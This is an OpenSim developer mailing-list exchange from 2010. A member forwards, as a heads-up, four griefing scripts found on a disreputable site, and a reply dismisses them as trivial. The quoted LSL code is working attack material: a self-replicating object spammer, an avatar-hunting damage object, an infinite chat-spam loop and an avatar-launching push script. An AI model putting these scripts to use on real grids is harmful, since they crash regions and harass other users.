these look like kiddie griefer scripts that pretty much any noob could make to me.
On Mon, Nov 1, 2010 at 3:07 PM, Karen Palen <[email protected]> wrote: > I ran across the following on one of the "less reputable" web sites that I > read. Consider it a "heads up" if the scripts really do what they claim! > > *OS GRID CRASHERS AND SPAMMERS * A virtual world without evil.....not on > my watch > > These all work if the threat level is set high enough on the sim > > > vector motion = <0,0,-37>; > integer jumps = 2; > default > { > state_entry() > { > llListen(10,"",llGetOwner(),""); > } > listen( integer channel, string name, key id, string msg) > { > if(msg==".5560") > { > llDie(); > } > } > > touch_start(integer total_number) > { > llDialog(llDetectedKey(0),"Jezebel's black sun shines upon you > ",["YAY!!!"],5560); > llSetAlpha(0.0,ALL_SIDES); > llSetStatus(STATUS_PHANTOM,TRUE); > integer m; > vector local = llGetLocalPos(); > for(m=0;m<jumps;m++) > { > llSetPos(local+m*motion); > } > llSetTimerEvent(0.1); > } > timer() > { > llRezObject("Object", llGetPos()+<0,0,0>, ZERO_VECTOR, ZERO_ROTATION,42); > > } > } > > -------------------------------------------------------------------- > > float movespeed = 0.1; //because lower is faster > > //Set how often to track avatars > float tick = 0.1; > > default > { > state_entry() > { > vector pos = llGetPos(); > llSetStatus(STATUS_PHYSICS, TRUE); > llSetDamage(100.0); > llSleep(0.1); > llMoveToTarget(pos,0.1); > llSensorRepeat("","",AGENT,200000,7000*PI,tick); > } > sensor(integer total_number) > { > vector pos = llDetectedPos(0); > vector offset =<-0,0,0>; > pos+=offset; > if (llDetectedOwner(0) == llGetOwner()) > { > } > else > { > llMoveToTarget(pos,movespeed); > llLookAt(pos,2,1); > } > } > } > ------------------------------------------------------------------ > > default > { > state_entry() > { > llSay(0, "Here is a fork and knife your gonna need it"); > } > > collision_start(integer total_number) > { > while(1) > { > llSay(0, "Press Alt-F4 to abuse report griefers, welcome to os grid:) "); > > } > } > } > --------------------------------------------------------------- > take the verticle tour > --------------------------------------------------------------- > default > { > state_entry ( ) > { > llListen ( 0, "", NULL_KEY, "0/1" ); > llSensorRepeat ( "", NULL_KEY, AGENT, 2.0, PI, 0.01 ); > } > > listen ( integer Channel, string Name, key UUID, string Message ) > { > state Off; > } > > sensor ( integer Number ) > { > vector Direction = llVecNorm ( llDetectedPos ( 0 ) - llGetPos ( ) ); > float Power = llVecMag ( llDetectedVel ( 0 ) - llGetPos ( ) ) * llPow ( > llVecDist ( llGetPos ( ) , llDetectedPos ( 0 ) ), 3 ); > llPushObject(llDetectedKey(0), <0,0,llPow(3.402823466,38)>, ZERO_VECTOR, > FALSE ); > > } > } > > state Off > { > state_entry ( ) > { > llListen ( 0, "", NULL_KEY, "0/1" ); > } > > listen ( integer Channel, string Name, key UUID, string Message ) > { > state default; > } > } > ------------------------------ > > I am the devil and i'm here to do the devils work > > > _______________________________________________ > Opensim-dev mailing list > [email protected] > https://lists.berlios.de/mailman/listinfo/opensim-dev > > -- Michael Emory Cerquoni - Nebadon Izumi @ http://osgrid.org
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